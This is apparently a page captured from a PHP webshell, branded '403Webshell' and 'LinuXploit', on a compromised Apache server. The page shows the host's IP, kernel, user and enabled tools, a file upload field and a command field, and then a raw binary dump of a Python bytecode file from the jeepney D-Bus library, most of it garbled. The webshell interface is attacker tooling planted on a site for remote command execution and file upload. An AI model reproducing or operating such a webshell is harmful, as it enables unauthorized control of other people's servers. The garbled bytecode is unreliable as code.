403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jeepney/io/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jeepney/io/__pycache__/blocking.cpython-311.pyc
�

+�c0����dZddlZddlmZddlmZddlZddlmZddl	Z	ddl
mZmZddl
Z
ddlZddlmZddlmZdd	lmZmZmZmZdd
lmZmZddlmZddlmZmZdd
l m!Z!m"Z"ddl#m$Z$ddl%m&Z&ddl'm(Z(m)Z)m*Z*gd�Z+Gd�d��Z,d�Z-d�Z.Gd�d��Z/Gd�de/��Z0Gd�de!��Z1d�Z2d'd e
j
fd!�Z3	d(d e0fd$�Z4e5d%kre4��Z6e7d&e6j8��dSdS))z'Synchronous IO wrappers around jeepney
�N)�deque)�
ECONNRESET)�count)�DefaultSelector�
EVENT_READ)�Optional)�warn)�Parser�Message�MessageType�HeaderFields)�
Authenticator�BEGIN)�get_bus)�FileDescriptor�fds_buf_size)�	ProxyBase�
unwrap_msg)�Router)�message_bus�)�MessageFilters�FilterHandle�check_replyable)�open_dbus_connection�DBusConnection�Proxyc�,�eZdZd�Zd�Zd�Zd�Zd�ZdS)�_Futurec��d|_dS�N��_result��selfs �5/usr/lib/python3/dist-packages/jeepney/io/blocking.py�__init__z_Future.__init__ s
�������c�*�t|j��Sr!)�boolr#r$s r&�donez_Future.done#s���D�L�!�!�!r(c��d|f|_dS�NFr")r%�	exceptions  r&�
set_exceptionz_Future.set_exception&s���y�)����r(c��d|f|_dS)NTr")r%�results  r&�
set_resultz_Future.set_result)s���f�~����r(c�"�|j\}}|r|S|�r!r")r%�success�values   r&r1z_Future.result,s��������	��L��r(N)�__name__�
__module__�__qualname__r'r+r/r2r1�r(r&rrs_���������"�"�"�*�*�*�&�&�&�����r(rc�6�|�tj��|zSdSr!)�time�	monotonic��timeouts r&�timeout_to_deadliner?3s �����~���'�)�)��4r(c�R�|�$t|tj��z
d��SdS)Ng)�maxr;r<)�deadlines r&�deadline_to_timeoutrC8s*�����8�d�n�.�.�.��3�3�3��4r(c��eZdZdZddejfd�Zd�Zd�Zdede	e
ejffd	�Zd
�Z
d�Zdd
�Zd�Zd�ZdS)�DBusConnectionBasez8Connection machinery shared by this module and threadingF�sockc���||_||_t��|_t	d���|_t
��|_|j�|t��|_
d|_dS)Nr)�start)rF�
enable_fdsr
�parserr�outgoing_serialr�selector�registerr�
select_key�unique_name)r%rFrIs   r&r'zDBusConnectionBase.__init__@s_����	�$����h�h���$�1�~�~�~���'�)�)��
��-�0�0��z�B�B�������r(c��|Sr!r9r$s r&�	__enter__zDBusConnectionBase.__enter__Is���r(c�.�|���dSr-)�close)r%�exc_type�exc_val�exc_tbs    r&�__exit__zDBusConnectionBase.__exit__Ls���
�
�����ur(�message�returnc��|�t|j��}|jrtjd��nd}|�||���}||fS)N�i)�serial�fds)�nextrKrI�array�	serialise)r%rXr\r]�datas     r&�
_serialisezDBusConnectionBase._serialisePsT���>��$�.�/�/�F�"&�/�;�e�k�#����t��� � ��C� �8�8���S�y�r(c���|j�|gtjtj|fg��}|t|��kr$|j�||d���dSdSr!)rF�sendmsg�socket�
SOL_SOCKET�
SCM_RIGHTS�len�sendall)r%rar]�
bytes_sents    r&�_send_with_fdsz!DBusConnectionBase._send_with_fdsWsp���Y�&�&�
�F�f�'��):�C�@�A�
�
�
�
��D�	�	�!�!��I���d�:�;�;�/�0�0�0�0�0�"�!r(c���	|j���}|�|S|�t|�����\}}|j�||����`)NTr=)r])rJ�get_next_message�_read_some_datarC�add_data)r%rB�msg�br]s     r&�_receivezDBusConnectionBase._receive`sg��	-��+�.�.�0�0�C����
��)�)�2E�h�2O�2O�)�P�P�F�A�s��K� � ��� �,�,�,�
	-r(Nc��|j�|��D]X\}}||jkrH|jr|���cSt|j�d����gfcS�Yt�)Ni)	rL�selectrNrI�_read_with_fds�unwrap_readrF�recv�TimeoutError)r%r>�key�evs    r&rnz"DBusConnectionBase._read_some_datais����}�+�+�G�4�4�	A�	A�G�C���d�o�%�%��?�A��.�.�0�0�0�0�0�&�t�y�~�~�d�';�';�<�<�b�@�@�@�@�	&��r(c�J�|j���}|j�|t	����\}}}}|ttdd��zr#|���td���t|��tj|��fS)N�
MSG_CTRUNCrz&Unable to receive all file descriptors)rJ�
bytes_desiredrF�recvmsgr�getattrrerS�RuntimeErrorrvr�from_ancdata)r%�nbytesra�ancdata�flags�_s      r&ruz!DBusConnectionBase._read_with_fdsss�����*�*�,�,��"&�)�"3�"3�F�L�N�N�"K�"K���g�u�a��7�6�<��3�3�3�	I��J�J�L�L�L��G�H�H�H��4� � �.�"=�g�"F�"F�F�Fr(c�j�|j���|j���dS)zClose the connectionN)rLrSrFr$s r&rSzDBusConnectionBase.close{s.���
�������	�������r(�Fr!)r6r7r8�__doc__rer'rQrWr�bytesrr_rbrkrrrnrurSr9r(r&rErE>s�������B�B� � �V�]� � � � ��������'��u�h�u�{�>S�6T�����1�1�1�-�-�-�����G�G�G�����r(rEc���eZdZddejf�fd�
Zed���Zddefd�ZeZ	dd�d	efd
�Z
dd�d�Zddd�d
�Zddd�de
efd�Zdd�d	efd�Z�xZS)rFrFc�$��t���||��tt��|_t��|_tt|��|_	|j	�
��}|d|_dS)Nr)�superr'rr�_routerr�_filtersrr�	bus_proxy�HellorO)r%rFrI�hello_reply�	__class__s    �r&r'zDBusConnection.__init__�sq���
������z�*�*�*��g�����&�(�(��
��{�D�1�1����n�*�*�,�,��&�q�>����r(c�2�tdd���|jS)Nz@conn.router is deprecated, see the docs for APIs to use instead.���
stacklevel)r	r�r$s r&�routerzDBusConnection.router�s'���
O��	�	�	�	��|�r(NrXc��|�||��\}}|r|�||��dS|j�|��dS)z.Serialise and send a :class:`~.Message` objectN)rbrkrFri)r%rXr\rar]s     r&�sendzDBusConnection.send�sY���O�O�G�V�4�4�	��c��	$�����c�*�*�*�*�*��I���d�#�#�#�#�#r(r=rYc�F�|�t|����S)a+Return the next available message from the connection

        If the data is ready, this will return immediately, even if timeout<=0.
        Otherwise, it will wait for up to timeout seconds, or indefinitely if
        timeout is None. If no message comes in time, it raises TimeoutError.
        )rrr?)r%r>s  r&�receivezDBusConnection.receive�s���}�}�0��9�9�:�:�:r(c���|�|���}|j�|��|j�|��D]}|j�|���dS)z\Receive one message and apply filters

        See :meth:`filter`. Returns nothing.
        r=N)r�r��incomingr��matches�queue�append)r%r>rp�filters    r&�
recv_messageszDBusConnection.recv_messages�so��
�l�l�7�l�+�+������c�"�"�"��m�+�+�C�0�0�	%�	%�F��L����$�$�$�$�	%�	%r()r>�unwrapc�2�t|��t|��}|�d}ntdd���t|j��}|�||���	|�t|�����}|jj	�
tjd	��}||kr|rt|��S|S|j�|��|j�|��D]}|j�|�����)
z�Send a message, wait for the reply and return it

        Filters are applied to other messages received before the reply -
        see :meth:`add_filter`.
        NFzePassing unwrap= to .send_and_get_reply() is deprecated and will break in a future version of Jeepney.r�r�)r\Tr=���)rr?r	r^rK�send_messager�rC�header�fields�getr
�reply_serialrr�r�r�r�r�r�)	r%rXr>r�rBr\�msg_in�reply_tor�s	         r&�send_and_get_replyz!DBusConnection.send_and_get_reply�s2��	�� � � �&�w�/�/���>��F�F��>�JK�
M�
M�
M�
M��d�*�+�+�����'�&��1�1�1�	,��\�\�*=�h�*G�*G�\�H�H�F��}�+�/�/��0I�2�N�N�H��6�!�!��.�%�f�-�-�-��
�
�L�!�!�&�)�)�)��-�/�/��7�7�
,�
,����#�#�F�+�+�+�+�	,r(r)r��bufsizer�c�R�|�t|���}t|j||��S)a�Create a filter for incoming messages

        Usage::

            with conn.filter(rule) as matches:
                # matches is a deque containing matched messages
                matching_msg = conn.recv_until_filtered(matches)

        :param jeepney.MatchRule rule: Catch messages matching this rule
        :param collections.deque queue: Matched messages will be added to this
        :param int bufsize: If no deque is passed in, create one with this size
        N)�maxlen)rrr�)r%�ruler�r�s    r&r�zDBusConnection.filter�s-���=���)�)�)�E��D�M�4��7�7�7r(c���t|��}t|��dkr6|�t|�����t|��dk�6|���S)aZProcess incoming messages until one is filtered into queue

        Pops the message from queue and returns it, or raises TimeoutError if
        the optional timeout expires. Without a timeout, this is equivalent to::

            while len(queue) == 0:
                conn.recv_messages()
            return queue.popleft()

        In the other I/O modules, there is no need for this, because messages
        are placed in queues by a separate task.

        :param collections.deque queue: A deque connected by :meth:`filter`
        :param float timeout: Maximum time to wait in seconds
        rr=)r?rhr�rC�popleft)r%r�r>rBs    r&�recv_until_filteredz"DBusConnection.recv_until_filtered�s_�� '�w�/�/���%�j�j�A�o�o����':�8�'D�'D��E�E�E��%�j�j�A�o�o��}�}���r(r�r!)r6r7r8rer'�propertyr�rr�r�r�r�r�rrr�r��
__classcell__�r�s@r&rr�sM�������
*�
*�V�]�
*�
*�
*�
*�
*�
*�����X��
$�$�G�$�$�$�$��L�!%�;�;�;�'�;�;�;�;�(,�%�%�%�%�%�6:�$�,�,�,�,�,�<7;�A�8�8�8�X�e�_�8�8�8�8�"59����W��������r(rc�4��eZdZdZdd��fd�
Zd�Zd�Z�xZS)rajA blocking proxy for calling D-Bus methods

    You can call methods on the proxy object, such as ``bus_proxy.Hello()``
    to make a method call over D-Bus and wait for a reply. It will either
    return a tuple of returned data, or raise :exc:`.DBusErrorResponse`.
    The methods available are defined by the message generator you wrap.

    You can set a time limit on a call by passing ``_timeout=`` in the method
    call, or set a default when creating the proxy. The ``_timeout`` argument
    is not passed to the message generator.
    All timeouts are in seconds, and :exc:`TimeoutErrror` is raised if it
    expires before a reply arrives.

    :param msggen: A message generator object
    :param ~blocking.DBusConnection connection: Connection to send and receive messages
    :param float timeout: Default seconds to wait for a reply, or None for no limit
    Nr=c�f��t���|��||_||_dSr!)r�r'�_connection�_timeout)r%�msggen�
connectionr>r�s    �r&r'zProxy.__init__s.���
������ � � �%�����
�
�
r(c�R�|j�dn	d|j��}d|j�d|j�|�d�S)N�z
, timeout=zProxy(z, �))r��_msggenr�)r%�extras  r&�__repr__zProxy.__repr__
s@���}�,���3O��
�3O�3O��B���B�B��(8�B�%�B�B�B�Br(c�J���tj�����fd���}|S)Nc����|�d�j��}�|i|��}|jjtjusJ�t
�j�||�����S)Nr�r=)	�popr�r��message_typer�method_callrr�r�)�args�kwargsr>rp�make_msgr%s    ��r&�innerz!Proxy._method_call.<locals>.innersw����j�j��T�]�;�;�G��(�D�+�F�+�+�C��:�*�k�.E�E�E�E�E��d�.�A�A��W�B�����
r()�	functools�wraps)r%r�r�s`` r&�_method_callzProxy._method_calls>����	���	"�	"�	�	�	�	�	�
#�	"�	��r()r6r7r8r�r'r�r�r�r�s@r&rr�sr���������"7;� � � � � � � �
C�C�C�
�
�
�
�
�
�
r(rc�b�|s,tttjt�����|S)z�Raise ConnectionResetError from an empty read.

    Sometimes the socket raises an error itself, sometimes it gives no data.
    I haven't worked out when it behaves each way.
    )�ConnectionResetErrorr�os�strerror)rqs r&rvrvs,��
�H�"�:�r�{�:�/F�/F�G�G�G��Hr(F�@rYc	�D���tjtj����t|�����fd�}	|�j|��t	|���}|D]D}|�j|��|�t|�jd�������E|�jt��nT#tj
$r-}����td|�d���|�d}~w�����xYw��
d���S)z=Create a socket and authenticate ready to send D-Bus messages)�familyc�R����t�����||�Sr!)�
settimeoutrC)�methr�rBrFs  ��r&�with_sock_deadlinez'prep_socket.<locals>.with_sock_deadline1s*������+�H�5�5�6�6�6��t�T�{�r()rIizDid not authenticate in z secondsN)re�AF_UNIXr?�connectrri�feedrvrwrr>rSrxr�)	�addrrIr>r��authr�req_data�erBrFs	       @@r&�prep_socketr�)sN�����=���/�/�/�D�
#�7�+�+�H����������4�<��.�.�.���4�4�4���	I�	I�H���t�|�X�6�6�6��J�J�{�#5�#5�d�i��#F�#F�G�G�H�H�H�H���4�<��/�/�/�/���>�P�P�P��
�
�����G�g�G�G�G�H�H�a�O�������
�
����
�����O�O�D�����Ks�A>B7�7D�(C.�.D�SESSION��?c�h�t|��}t|||���}t||��}|S)aConnect to a D-Bus message bus

    Pass ``enable_fds=True`` to allow sending & receiving file descriptors.
    An error will be raised if the bus does not allow this. For simplicity,
    it's advisable to leave this disabled unless you need it.

    D-Bus has an authentication step before sending or receiving messages.
    This takes < 1 ms in normal operation, but there is a timeout so that client
    code won't get stuck if the server doesn't reply. *auth_timeout* configures
    this timeout in seconds.
    r=)rr�r)�busrI�auth_timeout�bus_addrrF�conns      r&rrGs7���s�|�|�H��x��\�B�B�B�D��$�
�+�+�D��Kr(�__main__zUnique name:)Fr�)r�Fr�)9r�r_�collectionsr�errnorr��	itertoolsrr��	selectorsrrrer;�typingr�warningsr	�jeepneyr
rrr
�jeepney.authrr�jeepney.busr�jeepney.fdsrr�jeepney.wrappersrr�jeepney.routingr�jeepney.bus_messagesr�commonrrr�__all__rr?rCrErrrvr�rr6r��printrOr9r(r&�<module>r�s�������������������������������	�	�	�	�1�1�1�1�1�1�1�1�
�
�
�
�����������������>�>�>�>�>�>�>�>�>�>�>�>�-�-�-�-�-�-�-�-�������4�4�4�4�4�4�4�4�2�2�2�2�2�2�2�2�"�"�"�"�"�"�,�,�,�,�,�,�A�A�A�A�A�A�A�A�A�A�������������(���
���@�@�@�@�@�@�@�@�Fr�r�r�r�r�'�r�r�r�j%�%�%�%�%�I�%�%�%�P
�
�
����
�����>79��������*�z�����!�!�D�	�E�.�$�*�+�+�+�+�+��r(

Youez - 2016 - github.com/yon3zu
LinuXploit